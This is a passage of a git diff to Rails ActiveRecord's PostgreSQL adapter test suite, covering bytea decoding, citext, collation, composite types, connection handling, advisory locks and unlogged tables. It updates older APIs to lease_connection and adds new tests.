     assert_equal "bytea", @connection.type_to_sql(:binary, limit: 100_000)
-    assert_raise ActiveRecord::ActiveRecordError do
+    assert_raise ArgumentError do
       @connection.type_to_sql(:binary, limit: 4294967295)
     end
   end
@@ -47,8 +47,32 @@ def test_type_cast_binary_converts_the_encoding
   end
 
   def test_type_cast_binary_value
-    data = "\u001F\x8B".force_encoding("BINARY")
-    assert_equal(data, @type.deserialize(data))
+    encoded = "\\x414243".b
+    assert_deprecated(ActiveRecord.deprecator) do
+      result = @type.deserialize(encoded)
+      assert_equal "ABC", result
+      assert_equal Encoding::BINARY, result.encoding
+    end
+  end
+
+  def test_type_cast_marked_true_value
+    decoded = "\\x414243".b
+    decoded.instance_variable_set(:@ar_pg_bytea_decoded, true)
+
+    result = @type.deserialize(decoded)
+    assert_equal "\\x414243", result  # Should stay as-is, not become "ABC"
+    assert_equal Encoding::BINARY, result.encoding
+    assert_not result.instance_variable_defined?(:@ar_pg_bytea_decoded)
+  end
+
+  def test_type_cast_marked_false_value
+    encoded = "\\x414243".b
+    encoded.instance_variable_set(:@ar_pg_bytea_decoded, false)
+
+    result = @type.deserialize(encoded)
+    assert_equal "ABC", result
+    assert_equal Encoding::BINARY, result.encoding
+    assert_not result.instance_variable_defined?(:@ar_pg_bytea_decoded)
   end
 
   def test_type_case_nil
@@ -73,7 +97,7 @@ def test_read_nil_value
   def test_write_value
     data = "\u001F"
     record = ByteaDataType.create(payload: data)
-    assert_not record.new_record?
+    assert_not_predicate record, :new_record?
     assert_equal(data, record.payload)
   end
 
@@ -81,31 +105,32 @@ def test_via_to_sql
     data = "'\u001F\\"
     ByteaDataType.create(payload: data)
     sql = ByteaDataType.where(payload: data).select(:payload).to_sql
-    result = @connection.query(sql)
+    result = @connection.query_rows(sql, nil)
     assert_equal([[data]], result)
   end
 
   def test_via_to_sql_with_complicating_connection
     Thread.new do
-      other_conn = ActiveRecord::Base.connection
+      other_conn = ActiveRecord::Base.lease_connection
       other_conn.execute("SET standard_conforming_strings = off")
+      other_conn.execute("SET escape_string_warning = off")
     end.join
 
     test_via_to_sql
   end
 
   def test_write_binary
-    data = File.read(File.join(File.dirname(__FILE__), "..", "..", "..", "assets", "example.log"))
+    data = File.read(File.join(__dir__, "..", "..", "..", "assets", "example.log"))
     assert(data.size > 1)
     record = ByteaDataType.create(payload: data)
-    assert_not record.new_record?
+    assert_not_predicate record, :new_record?
     assert_equal(data, record.payload)
     assert_equal(data, ByteaDataType.where(id: record.id).first.payload)
   end
 
   def test_write_nil
     record = ByteaDataType.create(payload: nil)
-    assert_not record.new_record?
+    assert_not_predicate record, :new_record?
     assert_nil(record.payload)
     assert_nil(ByteaDataType.where(id: record.id).first.payload)
   end
@@ -117,7 +142,7 @@ def dump(str); str; end
 
   def test_serialize
     klass = Class.new(ByteaDataType) {
-      serialize :serialized, Serializer.new
+      serialize :serialized, coder: Serializer.new
     }
     obj = klass.new
     obj.serialized = "hello world"
@@ -131,4 +156,12 @@ def test_schema_dumping
     assert_match %r{t\.binary\s+"payload"$}, output
     assert_match %r{t\.binary\s+"serialized"$}, output
   end
+
+  def test_write_and_read_binary_data
+    data = "\\x414243"
+    record = ByteaDataType.create(payload: data)
+    assert_not_predicate record, :new_record?
+    assert_equal(data, record.payload)
+    assert_equal(data, ByteaDataType.where(id: record.id).first.payload)
+  end
 end
diff --git a/activerecord/test/cases/adapters/postgresql/bytea_with_decoder_test.rb b/activerecord/test/cases/adapters/postgresql/bytea_with_decoder_test.rb
new file mode 100644
index 0000000000000..e01f596b84b5f
--- /dev/null
+++ b/activerecord/test/cases/adapters/postgresql/bytea_with_decoder_test.rb
@@ -0,0 +1,17 @@
+# frozen_string_literal: true
+
+require "cases/adapters/postgresql/bytea_test"
+
+class PostgresqlByteaWithDecoderTest < PostgresqlByteaTest
+  def setup
+    ActiveRecord::ConnectionAdapters::PostgreSQLAdapter.decode_bytea = true
+    ActiveRecord::Base.connection_pool.disconnect!
+    super
+  end
+
+  def teardown
+    super
+    ActiveRecord::ConnectionAdapters::PostgreSQLAdapter.decode_bytea = false
+    ActiveRecord::Base.connection_pool.disconnect!
+  end
+end
diff --git a/activerecord/test/cases/adapters/postgresql/case_insensitive_test.rb b/activerecord/test/cases/adapters/postgresql/case_insensitive_test.rb
index 03b44feab6ae8..0c2bb5abfa9e5 100644
--- a/activerecord/test/cases/adapters/postgresql/case_insensitive_test.rb
+++ b/activerecord/test/cases/adapters/postgresql/case_insensitive_test.rb
@@ -1,26 +1,27 @@
+# frozen_string_literal: true
+
 require "cases/helper"
 
 class PostgresqlCaseInsensitiveTest < ActiveRecord::PostgreSQLTestCase
   class Default < ActiveRecord::Base; end
 
   def test_case_insensitiveness
-    connection = ActiveRecord::Base.connection
-    table = Default.arel_table
+    connection = ActiveRecord::Base.lease_connection
 
-    column = Default.columns_hash["char1"]
-    comparison = connection.case_insensitive_comparison table, :char1, column, nil
+    attr = Default.arel_table[:char1]
+    comparison = connection.case_insensitive_comparison(attr, nil)
     assert_match(/lower/i, comparison.to_sql)
 
-    column = Default.columns_hash["char2"]
-    comparison = connection.case_insensitive_comparison table, :char2, column, nil
+    attr = Default.arel_table[:char2]
+    comparison = connection.case_insensitive_comparison(attr, nil)
     assert_match(/lower/i, comparison.to_sql)
 
-    column = Default.columns_hash["char3"]
-    comparison = connection.case_insensitive_comparison table, :char3, column, nil
+    attr = Default.arel_table[:char3]
+    comparison = connection.case_insensitive_comparison(attr, nil)
     assert_match(/lower/i, comparison.to_sql)
 
-    column = Default.columns_hash["multiline_default"]
-    comparison = connection.case_insensitive_comparison table, :multiline_default, column, nil
+    attr = Default.arel_table[:multiline_default]
+    comparison = connection.case_insensitive_comparison(attr, nil)
     assert_match(/lower/i, comparison.to_sql)
   end
 end
diff --git a/activerecord/test/cases/adapters/postgresql/change_schema_test.rb b/activerecord/test/cases/adapters/postgresql/change_schema_test.rb
index ea642069d2153..13e8c533c01be 100644
--- a/activerecord/test/cases/adapters/postgresql/change_schema_test.rb
+++ b/activerecord/test/cases/adapters/postgresql/change_schema_test.rb
@@ -1,3 +1,5 @@
+# frozen_string_literal: true
+
 require "cases/helper"
 
 module ActiveRecord
@@ -7,7 +9,7 @@ class PGChangeSchemaTest < ActiveRecord::PostgreSQLTestCase
 
       def setup
         super
-        @connection = ActiveRecord::Base.connection
+        @connection = ActiveRecord::Base.lease_connection
         connection.create_table(:strings) do |t|
           t.string :somedate
         end
@@ -27,11 +29,42 @@ def test_change_type_with_symbol
         assert_equal :datetime, connection.columns(:strings).find { |c| c.name == "somedate" }.type
       end
 
+      def test_change_type_with_symbol_with_timestamptz
+        connection.change_column :strings, :somedate, :timestamptz, cast_as: :timestamptz
+        assert_equal :timestamptz, connection.columns(:strings).find { |c| c.name == "somedate" }.type
+      end
+
+      def test_change_type_with_symbol_using_datetime
+        connection.change_column :strings, :somedate, :datetime, cast_as: :datetime
+        assert_equal :datetime, connection.columns(:strings).find { |c| c.name == "somedate" }.type
+      end
+
+      def test_change_type_with_symbol_using_timestamp_with_timestamptz_as_default
+        with_postgresql_datetime_type(:timestamptz) do
+          connection.change_column :strings, :somedate, :timestamp, cast_as: :timestamp
+          assert_equal :timestamp, connection.columns(:strings).find { |c| c.name == "somedate" }.type
+        end
+      end
+
+      def test_change_type_with_symbol_with_timestamptz_as_default
+        with_postgresql_datetime_type(:timestamptz) do
+          connection.change_column :strings, :somedate, :timestamptz, cast_as: :timestamptz
+          assert_equal :datetime, connection.columns(:strings).find { |c| c.name == "somedate" }.type
+        end
+      end
+
+      def test_change_type_with_symbol_using_datetime_with_timestamptz_as_default
+        with_postgresql_datetime_type(:timestamptz) do
+          connection.change_column :strings, :somedate, :datetime, cast_as: :datetime
+          assert_equal :datetime, connection.columns(:strings).find { |c| c.name == "somedate" }.type
+        end
+      end
+
       def test_change_type_with_array
         connection.change_column :strings, :somedate, :timestamp, array: true, cast_as: :timestamp
         column = connection.columns(:strings).find { |c| c.name == "somedate" }
         assert_equal :datetime, column.type
-        assert column.array?
+        assert_predicate column, :array?
       end
     end
   end
diff --git a/activerecord/test/cases/adapters/postgresql/cidr_test.rb b/activerecord/test/cases/adapters/postgresql/cidr_test.rb
index 52f2a0096c3fd..b53e69bf0c6af 100644
--- a/activerecord/test/cases/adapters/postgresql/cidr_test.rb
+++ b/activerecord/test/cases/adapters/postgresql/cidr_test.rb
@@ -1,3 +1,5 @@
+# frozen_string_literal: true
+
 require "cases/helper"
 require "ipaddr"
 
@@ -19,6 +21,23 @@ class CidrTest < ActiveRecord::PostgreSQLTestCase
 
           assert_equal "foo", type.serialize("foo")
         end
+
+        test "changed? with nil values" do
+          type = OID::Cidr.new
+
+          assert_not type.changed?(nil, nil, "")
+          assert type.changed?("192.168.0.0/24", nil, "")
+          assert type.changed?(nil, "192.168.0.0/24", "")
+          assert type.changed?("192.168.0.0/24", "192.168.0.0/25", "")
+          assert type.changed?(IPAddr.new("192.168.0.0/24"), nil, "")
+          assert type.changed?(nil, IPAddr.new("192.168.0.0/24"), "")
+          assert type.changed?(IPAddr.new("192.168.0.0/24"), IPAddr.new("192.168.0.0/25"), "")
+
+          assert type.changed?(IPAddr.new("0.0.0.0"), nil, "")
+          assert type.changed?(nil, IPAddr.new("0.0.0.0"), "")
+          assert type.changed?(IPAddr.new("::"), nil, "")
+          assert type.changed?(nil, IPAddr.new("::"), "")
+        end
       end
     end
   end
diff --git a/activerecord/test/cases/adapters/postgresql/citext_test.rb b/activerecord/test/cases/adapters/postgresql/citext_test.rb
index ca95e4b6268e1..c1511ce0501e2 100644
--- a/activerecord/test/cases/adapters/postgresql/citext_test.rb
+++ b/activerecord/test/cases/adapters/postgresql/citext_test.rb
@@ -1,78 +1,84 @@
+# frozen_string_literal: true
+
 require "cases/helper"
 require "support/schema_dumping_helper"
 
-if ActiveRecord::Base.connection.supports_extensions?
-  class PostgresqlCitextTest < ActiveRecord::PostgreSQLTestCase
-    include SchemaDumpingHelper
-    class Citext < ActiveRecord::Base
-      self.table_name = "citexts"
-    end
-
-    def setup
-      @connection = ActiveRecord::Base.connection
+class PostgresqlCitextTest < ActiveRecord::PostgreSQLTestCase
+  include SchemaDumpingHelper
+  class Citext < ActiveRecord::Base
+    self.table_name = "citexts"
+  end
 
-      enable_extension!("citext", @connection)
+  def setup
+    @connection = ActiveRecord::Base.lease_connection
 
-      @connection.create_table("citexts") do |t|
-        t.citext "cival"
-      end
-    end
+    enable_extension!("citext", @connection)
 
-    teardown do
-      @connection.drop_table "citexts", if_exists: true
-      disable_extension!("citext", @connection)
+    @connection.create_table("citexts") do |t|
+      t.citext "cival"
     end
+  end
 
-    def test_citext_enabled
-      assert @connection.extension_enabled?("citext")
-    end
+  teardown do
+    @connection.drop_table "citexts", if_exists: true
+    disable_extension!("citext", @connection)
+  end
 
-    def test_column
-      column = Citext.columns_hash["cival"]
-      assert_equal :citext, column.type
-      assert_equal "citext", column.sql_type
-      assert_not column.array?
+  def test_citext_enabled
+    assert @connection.extension_enabled?("citext")
+  end
 
-      type = Citext.type_for_attribute("cival")
-      assert_not type.binary?
-    end
+  def test_column
+    column = Citext.columns_hash["cival"]
+    assert_equal :citext, column.type
+    assert_equal "citext", column.sql_type
+    assert_not_predicate column, :array?
 
-    def test_change_table_supports_json
-      @connection.transaction do
-        @connection.change_table("citexts") do |t|
-          t.citext "username"
-        end
-        Citext.reset_column_information
-        column = Citext.columns_hash["username"]
-        assert_equal :citext, column.type
+    type = Citext.type_for_attribute("cival")
+    assert_not_predicate type, :binary?
+  end
 
-        raise ActiveRecord::Rollback # reset the schema change
+  def test_change_table_supports_json
+    @connection.transaction do
+      @connection.change_table("citexts") do |t|
+        t.citext "username"
       end
-    ensure
       Citext.reset_column_information
+      column = Citext.columns_hash["username"]
+      assert_equal :citext, column.type
+
+      raise ActiveRecord::Rollback # reset the schema change
     end
+  ensure
+    Citext.reset_column_information
+  end
 
-    def test_write
-      x = Citext.new(cival: "Some CI Text")
-      x.save!
-      citext = Citext.first
-      assert_equal "Some CI Text", citext.cival
+  def test_write
+    x = Citext.new(cival: "Some CI Text")
+    x.save!
+    citext = Citext.first
+    assert_equal "Some CI Text", citext.cival
 
-      citext.cival = "Some NEW CI Text"
-      citext.save!
+    citext.cival = "Some NEW CI Text"
+    citext.save!
 
-      assert_equal "Some NEW CI Text", citext.reload.cival
-    end
+    assert_equal "Some NEW CI Text", citext.reload.cival
+  end
 
-    def test_select_case_insensitive
-      @connection.execute "insert into citexts (cival) values('Cased Text')"
-      x = Citext.where(cival: "cased text").first
-      assert_equal "Cased Text", x.cival
-    end
+  def test_select_case_insensitive
+    @connection.execute "insert into citexts (cival) values('Cased Text')"
+    x = Citext.where(cival: "cased text").first
+    assert_equal "Cased Text", x.cival
+  end
 
-    def test_schema_dump_with_shorthand
-      output = dump_table_schema("citexts")
-      assert_match %r[t\.citext "cival"], output
-    end
+  def test_case_insensitiveness
+    attr = Citext.arel_table[:cival]
+    comparison = @connection.case_insensitive_comparison(attr, nil)
+    assert_no_match(/lower/i, comparison.to_sql)
+  end
+
+  def test_schema_dump_with_shorthand
+    output = dump_table_schema("citexts")
+    assert_match %r[t\.citext "cival"], output
   end
 end
diff --git a/activerecord/test/cases/adapters/postgresql/collation_test.rb b/activerecord/test/cases/adapters/postgresql/collation_test.rb
index b39e298a5d667..9aff9fd6d9da6 100644
--- a/activerecord/test/cases/adapters/postgresql/collation_test.rb
+++ b/activerecord/test/cases/adapters/postgresql/collation_test.rb
@@ -1,3 +1,5 @@
+# frozen_string_literal: true
+
 require "cases/helper"
 require "support/schema_dumping_helper"
 
@@ -5,7 +7,7 @@ class PostgresqlCollationTest < ActiveRecord::PostgreSQLTestCase
   include SchemaDumpingHelper
 
   def setup
-    @connection = ActiveRecord::Base.connection
+    @connection = ActiveRecord::Base.lease_connection
     @connection.create_table :postgresql_collations, force: true do |t|
       t.string :string_c, collation: "C"
       t.text :text_posix, collation: "POSIX"
@@ -47,7 +49,7 @@ def teardown
 
   test "schema dump includes collation" do
     output = dump_table_schema("postgresql_collations")
-    assert_match %r{t.string\s+"string_c",\s+collation: "C"$}, output
-    assert_match %r{t.text\s+"text_posix",\s+collation: "POSIX"$}, output
+    assert_match %r{t\.string\s+"string_c",\s+collation: "C"$}, output
+    assert_match %r{t\.text\s+"text_posix",\s+collation: "POSIX"$}, output
   end
 end
diff --git a/activerecord/test/cases/adapters/postgresql/composite_test.rb b/activerecord/test/cases/adapters/postgresql/composite_test.rb
index 1da2a9e2ac07b..1f6f649480438 100644
--- a/activerecord/test/cases/adapters/postgresql/composite_test.rb
+++ b/activerecord/test/cases/adapters/postgresql/composite_test.rb
@@ -1,3 +1,5 @@
+# frozen_string_literal: true
+
 require "cases/helper"
 require "support/connection_helper"
 
@@ -11,15 +13,15 @@ class PostgresqlComposite < ActiveRecord::Base
   def setup
     super
 
-    @connection = ActiveRecord::Base.connection
+    @connection = ActiveRecord::Base.lease_connection
     @connection.transaction do
-      @connection.execute <<-SQL
-         CREATE TYPE full_address AS
-         (
-             city VARCHAR(90),
-             street VARCHAR(90)
-         );
-        SQL
+      @connection.execute <<~SQL
+        CREATE TYPE full_address AS
+        (
+          city VARCHAR(90),
+          street VARCHAR(90)
+        );
+      SQL
       @connection.create_table("postgresql_composites") do |t|
         t.column :address, :full_address
       end
@@ -49,10 +51,10 @@ def test_column
     column = PostgresqlComposite.columns_hash["address"]
     assert_nil column.type
     assert_equal "full_address", column.sql_type
-    assert_not column.array?
+    assert_not_predicate column, :array?
 
     type = PostgresqlComposite.type_for_attribute("address")
-    assert_not type.binary?
+    assert_not_predicate type, :binary?
   end
 
   def test_composite_mapping
@@ -104,17 +106,17 @@ def serialize(value)
   def setup
     super
 
-    @connection.type_map.register_type "full_address", FullAddressType.new
+    @connection.send(:type_map).register_type "full_address", FullAddressType.new
   end
 
   def test_column
     column = PostgresqlComposite.columns_hash["address"]
     assert_equal :full_address, column.type
     assert_equal "full_address", column.sql_type
-    assert_not column.array?
+    assert_not_predicate column, :array?
 
     type = PostgresqlComposite.type_for_attribute("address")
-    assert_not type.binary?
+    assert_not_predicate type, :binary?
   end
 
   def test_composite_mapping
diff --git a/activerecord/test/cases/adapters/postgresql/connection_test.rb b/activerecord/test/cases/adapters/postgresql/connection_test.rb
index 3cbd4ca2122a7..be7a2bd33003c 100644
--- a/activerecord/test/cases/adapters/postgresql/connection_test.rb
+++ b/activerecord/test/cases/adapters/postgresql/connection_test.rb
@@ -1,3 +1,5 @@
+# frozen_string_literal: true
+
 require "cases/helper"
 require "support/connection_helper"
 
@@ -8,13 +10,12 @@ class PostgresqlConnectionTest < ActiveRecord::PostgreSQLTestCase
     class NonExistentTable < ActiveRecord::Base
     end
 
-    fixtures :comments
-
     def setup
       super
       @subscriber = SQLSubscriber.new
+      @connection = ActiveRecord::Base.lease_connection
+      @connection.materialize_transactions
       @subscription = ActiveSupport::Notifications.subscribe("sql.active_record", @subscriber)
-      @connection = ActiveRecord::Base.connection
     end
 
     def teardown
@@ -22,24 +23,22 @@ def teardown
       super
     end
 
-    def test_truncate
-      count = ActiveRecord::Base.connection.execute("select count(*) from comments").first["count"].to_i
-      assert_operator count, :>, 0
-      ActiveRecord::Base.connection.truncate("comments")
-      count = ActiveRecord::Base.connection.execute("select count(*) from comments").first["count"].to_i
-      assert_equal 0, count
-    end
-
     def test_encoding
-      assert_not_nil @connection.encoding
+      assert_queries_count(1, include_schema: true) do
+        assert_not_nil @connection.encoding
+      end
     end
 
     def test_collation
-      assert_not_nil @connection.collation
+      assert_queries_count(1, include_schema: true) do
+        assert_not_nil @connection.collation
+      end
     end
 
     def test_ctype
-      assert_not_nil @connection.ctype
+      assert_queries_count(1, include_schema: true) do
+        assert_not_nil @connection.ctype
+      end
     end
 
     def test_default_client_min_messages
@@ -49,44 +48,46 @@ def test_default_client_min_messages
     # Ensure, we can set connection params using the example of Generic
     # Query Optimizer (geqo). It is 'on' per default.
     def test_connection_options
-      params = ActiveRecord::Base.connection_config.dup
+      params = ActiveRecord::Base.connection_db_config.configuration_hash.dup
       params[:options] = "-c geqo=off"
       NonExistentTable.establish_connection(params)
 
       # Verify the connection param has been applied.
-      expect = NonExistentTable.connection.query("show geqo").first.first
-      assert_equal "off", expect
+      actual = NonExistentTable.lease_connection.select_value("show geqo")
+      assert_equal "off", actual
+    ensure
+      NonExistentTable.remove_connection
     end
 
     def test_reset
-      @connection.query("ROLLBACK")
-      @connection.query("SET geqo TO off")
+      @connection.query_command("ROLLBACK")
+      @connection.query_command("SET geqo TO off")
 
       # Verify the setting has been applied.
-      expect = @connection.query("show geqo").first.first
-      assert_equal "off", expect
+      actual = @connection.select_value("show geqo")
+      assert_equal "off", actual
 
       @connection.reset!
 
       # Verify the setting has been cleared.
-      expect = @connection.query("show geqo").first.first
-      assert_equal "on", expect
+      actual = @connection.select_value("show geqo")
+      assert_equal "on", actual
     end
 
     def test_reset_with_transaction
-      @connection.query("ROLLBACK")
-      @connection.query("SET geqo TO off")
+      @connection.query_command("ROLLBACK")
+      @connection.query_command("SET geqo TO off")
 
       # Verify the setting has been applied.
-      expect = @connection.query("show geqo").first.first
-      assert_equal "off", expect
+      actual = @connection.select_value("show geqo")
+      assert_equal "off", actual
 
-      @connection.query("BEGIN")
+      @connection.query_command("BEGIN")
       @connection.reset!
 
       # Verify the setting has been cleared.
-      expect = @connection.query("show geqo").first.first
-      assert_equal "on", expect
+      actual = @connection.select_value("show geqo")
+      assert_equal "on", actual
     end
 
     def test_tables_logs_name
@@ -95,7 +96,7 @@ def test_tables_logs_name
     end
 
     def test_indexes_logs_name
-      assert_deprecated { @connection.indexes("items", "hello") }
+      @connection.indexes("items")
       assert_equal "SCHEMA", @subscriber.logged[0][1]
     end
 
@@ -105,7 +106,7 @@ def test_table_exists_logs_name
     end
 
     def test_table_alias_length_logs_name
-      @connection.instance_variable_set("@table_alias_length", nil)
+      @connection.instance_variable_set("@max_identifier_length", nil)
       @connection.table_alias_length
       assert_equal "SCHEMA", @subscriber.logged[0][1]
     end
@@ -125,98 +126,84 @@ def test_schema_names_logs_name
       assert_equal "SCHEMA", @subscriber.logged[0][1]
     end
 
-    if ActiveRecord::Base.connection.prepared_statements
+    if ActiveRecord::Base.lease_connection.prepared_statements
       def test_statement_key_is_logged
         bind = Relation::QueryAttribute.new(nil, 1, Type::Value.new)
         @connection.exec_query("SELECT $1::integer", "SQL", [bind], prepare: true)
-        name = @subscriber.payloads.last[:statement_name]
-        assert name
+
+        payload = @subscriber.payloads.find { |p| p[:sql] == "SELECT $1::integer" }
+        name = payload[:statement_name]
+        assert_not_nil name
+
         res = @connection.exec_query("EXPLAIN (FORMAT JSON) EXECUTE #{name}(1)")
         plan = res.column_types["QUERY PLAN"].deserialize res.rows.first.first
         assert_operator plan.length, :>, 0
       end
     end
 
-    # Must have PostgreSQL >= 9.2, or with_manual_interventions set to
-    # true for this test to run.
-    #
-    # When prompted, restart the PostgreSQL server with the
-    # "-m fast" option or kill the individual connection assuming
-    # you know the incantation to do that.
-    # To restart PostgreSQL 9.1 on OS X, installed via MacPorts, ...
-    # sudo su postgres -c "pg_ctl restart -D /opt/local/var/db/postgresql91/defaultdb/ -m fast"
-    def test_reconnection_after_actual_disconnection_with_verify
-      original_connection_pid = @connection.query("select pg_backend_pid()")
-
-      # Sanity check.
-      assert @connection.active?
-
-      if @connection.send(:postgresql_version) >= 90200
-        secondary_connection = ActiveRecord::Base.connection_pool.checkout
-        secondary_connection.query("select pg_terminate_backend(#{original_connection_pid.first.first})")
-        ActiveRecord::Base.connection_pool.checkin(secondary_connection)
-      elsif ARTest.config["with_manual_interventions"]
-        puts "Kill the connection now (e.g. by restarting the PostgreSQL " \
-          'server with the "-m fast" option) and then press enter.'
-        $stdin.gets
-      else
-        # We're not capable of terminating the backend ourselves, and
-        # we're not allowed to seek assistance; bail out without
-        # actually testing anything.
-        return
+    def test_prepare_false_with_binds
+      @connection.stub(:prepared_statements, false) do
+        bind = Relation::QueryAttribute.new(nil, 42, Type::Value.new)
+        result = @connection.exec_query("SELECT $1::integer", "SQL", [bind], prepare: false)
+        assert_equal [[42]], result.rows
       end
+    end
 
+    def test_reconnection_after_actual_disconnection_with_verify
+      assert_predicate @connection, :active?
+      cause_server_side_disconnect
       @connection.verify!
-
-      assert @connection.active?
-
-      # If we get no exception here, then either we re-connected successfully, or
-      # we never actually got disconnected.
-      new_connection_pid = @connection.query("select pg_backend_pid()")
-
-      assert_not_equal original_connection_pid, new_connection_pid,
-        "umm -- looks like you didn't break the connection, because we're still " \
-        "successfully querying with the same connection pid."
-
+      assert_predicate @connection, :active?
+    ensure
       # Repair all fixture connections so other tests won't break.
-      @fixture_connections.each(&:verify!)
+      @fixture_connection_pools.each { |p| p.lease_connection.verify! }
     end
 
     def test_set_session_variable_true
       run_without_connection do |orig_connection|
         ActiveRecord::Base.establish_connection(orig_connection.deep_merge(variables: { debug_print_plan: true }))
-        set_true = ActiveRecord::Base.connection.exec_query "SHOW DEBUG_PRINT_PLAN"
-        assert_equal set_true.rows, [["on"]]
+        set_true = ActiveRecord::Base.lease_connection.exec_query "SHOW DEBUG_PRINT_PLAN"
+        assert_equal [["on"]], set_true.rows
       end
     end
 
     def test_set_session_variable_false
       run_without_connection do |orig_connection|
         ActiveRecord::Base.establish_connection(orig_connection.deep_merge(variables: { debug_print_plan: false }))
-        set_false = ActiveRecord::Base.connection.exec_query "SHOW DEBUG_PRINT_PLAN"
-        assert_equal set_false.rows, [["off"]]
+        set_false = ActiveRecord::Base.lease_connection.exec_query "SHOW DEBUG_PRINT_PLAN"
+        assert_equal [["off"]], set_false.rows
       end
     end
 
     def test_set_session_variable_nil
       run_without_connection do |orig_connection|
         # This should be a no-op that does not raise an error
-        ActiveRecord::Base.establish_connection(orig_connection.deep_merge(variables: { debug_print_plan: nil }))
+        assert_nothing_raised do
+          ActiveRecord::Base.establish_connection(orig_connection.deep_merge(variables: { debug_print_plan: nil }))
+        end
       end
     end
 
     def test_set_session_variable_default
       run_without_connection do |orig_connection|
         # This should execute a query that does not raise an error
-        ActiveRecord::Base.establish_connection(orig_connection.deep_merge(variables: { debug_print_plan: :default }))
+        assert_nothing_raised do
+          ActiveRecord::Base.establish_connection(orig_connection.deep_merge(variables: { debug_print_plan: :default }))
+        end
+      end
+    end
+
+    def test_set_session_timezone
+      run_without_connection do |orig_connection|
+        ActiveRecord::Base.establish_connection(orig_connection.deep_merge(variables: { timezone: "America/New_York" }))
+        assert_equal "America/New_York", ActiveRecord::Base.lease_connection.select_value("SHOW TIME ZONE")
       end
     end
 
     def test_get_and_release_advisory_lock
       lock_id = 5295901941911233559
-      list_advisory_locks = <<-SQL
-        SELECT locktype,
-              (classid::bigint << 32) | objid::bigint AS lock_id
+      list_advisory_locks = <<~SQL
+        SELECT (classid::bigint << 32) | objid::bigint AS lock_id
         FROM pg_locks
         WHERE locktype = 'advisory'
       SQL
@@ -224,15 +211,15 @@ def test_get_and_release_advisory_lock
       got_lock = @connection.get_advisory_lock(lock_id)
       assert got_lock, "get_advisory_lock should have returned true but it didn't"
 
-      advisory_lock = @connection.query(list_advisory_locks).find { |l| l[1] == lock_id }
-      assert advisory_lock,
+      advisory_locks = @connection.select_values(list_advisory_locks)
+      assert_includes advisory_locks, lock_id,
         "expected to find an advisory lock with lock_id #{lock_id} but there wasn't one"
 
       released_lock = @connection.release_advisory_lock(lock_id)
       assert released_lock, "expected release_advisory_lock to return true but it didn't"
 
-      advisory_locks = @connection.query(list_advisory_locks).select { |l| l[1] == lock_id }
-      assert_empty advisory_locks,
+      advisory_locks = @connection.select_values(list_advisory_locks)
+      assert_not_includes advisory_locks, lock_id,
         "expected to have released advisory lock with lock_id #{lock_id} but it was still held"
     end
 
@@ -240,12 +227,19 @@ def test_release_non_existent_advisory_lock
       fake_lock_id = 2940075057017742022
       with_warning_suppression do
         released_non_existent_lock = @connection.release_advisory_lock(fake_lock_id)
-        assert_equal released_non_existent_lock, false,
+        assert_equal false, released_non_existent_lock,
           "expected release_advisory_lock to return false when there was no lock to release"
       end
     end
 
     private
+      def cause_server_side_disconnect
+        unless @connection.instance_variable_get(:@raw_connection).transaction_status == ::PG::PQTRANS_INTRANS
+          @connection.execute("begin")
+        end
+        @connection.execute("set idle_in_transaction_session_timeout = '10ms'")
+        sleep 0.05
+      end
 
       def with_warning_suppression
         log_level = @connection.client_min_messages
diff --git a/activerecord/test/cases/adapters/postgresql/create_unlogged_tables_test.rb b/activerecord/test/cases/adapters/postgresql/create_unlogged_tables_test.rb
new file mode 100644
index 0000000000000..12d41c530ef9e
--- /dev/null
+++ b/activerecord/test/cases/adapters/postgresql/create_unlogged_tables_test.rb
@@ -0,0 +1,75 @@
+# frozen_string_literal: true
+
+require "cases/helper"
+require "support/schema_dumping_helper"
+
+class UnloggedTablesTest < ActiveRecord::PostgreSQLTestCase
+  include SchemaDumpingHelper
+
+  TABLE_NAME = "things"
+  LOGGED_FIELD = "relpersistence"
+  LOGGED_QUERY = "SELECT #{LOGGED_FIELD} FROM pg_class WHERE relname = '#{TABLE_NAME}'"
+  LOGGED = "p"
+  UNLOGGED = "u"
+  TEMPORARY = "t"
+
+  class Thing < ActiveRecord::Base
+    self.table_name = TABLE_NAME
+  end
+
+  def setup
+    @previous_unlogged_tables = ActiveRecord::ConnectionAdapters::PostgreSQLAdapter.create_unlogged_tables
+    @connection = ActiveRecord::Base.lease_connection
+    ActiveRecord::ConnectionAdapters::PostgreSQLAdapter.create_unlogged_tables = false
+  end
+
+  teardown do
+    @connection.drop_table TABLE_NAME, if_exists: true
+    ActiveRecord::ConnectionAdapters::PostgreSQLAdapter.create_unlogged_tables = @previous_unlogged_tables
+  end
+
+  def test_logged_by_default
+    @connection.create_table(TABLE_NAME) do |t|
+    end
+    assert_equal @connection.execute(LOGGED_QUERY).first[LOGGED_FIELD], LOGGED
+  end
+
+  def test_unlogged_in_test_environment_when_unlogged_setting_enabled
+    ActiveRecord::ConnectionAdapters::PostgreSQLAdapter.create_unlogged_tables = true
+
+    @connection.create_table(TABLE_NAME) do |t|
+    end
+    assert_equal @connection.execute(LOGGED_QUERY).first[LOGGED_FIELD], UNLOGGED
+  end
+
+  def test_not_included_in_schema_dump
+    ActiveRecord::ConnectionAdapters::PostgreSQLAdapter.create_unlogged_tables = true
+
+    @connection.create_table(TABLE_NAME) do |t|
+    end
+    assert_no_match(/unlogged/i, dump_table_schema(TABLE_NAME))
+  end
+
+  def test_not_changed_in_change_table
+    @connection.create_table(TABLE_NAME) do |t|
+    end
+
+    ActiveRecord::ConnectionAdapters::PostgreSQLAdapter.create_unlogged_tables = true
+
+    @connection.change_table(TABLE_NAME) do |t|
+      t.column :name, :string
+    end
+    assert_equal @connection.execute(LOGGED_QUERY).first[LOGGED_FIELD], LOGGED
+  end
+
+  def test_gracefully_handles_temporary_tables
+    @connection.create_table(TABLE_NAME, temporary: true) do |t|
+    end
+
+    # Temporary tables are already unlogged, though this query results in a
+    # different result ("t" vs. "u"). This test is really just checking that we
+    # didn't try to run `CREATE TEMPORARY UNLOGGED TABLE`, which would result in
+    # a PostgreSQL error.
+    assert_equal @connection.execute(LOGGED_QUERY).first[LOGGED_FIELD], TEMPORARY
+  end
+end
diff --git a/activerecord/test/cases/adapters/postgresql/datatype_test.rb b/activerecord/test/cases/adapters/postgresql/datatype_test.rb
index 0725fde5ae932..c0d111de4bc6f 100644
--- a/activerecord/test/cases/adapters/postgresql/datatype_test.rb
+++ b/activerecord/test/cases/adapters/postgresql/datatype_test.rb
@@ -1,7 +1,12 @@
+# frozen_string_literal: true
+
 require "cases/helper"
 require "support/ddl_helper"
 
 class PostgresqlTime < ActiveRecord::Base
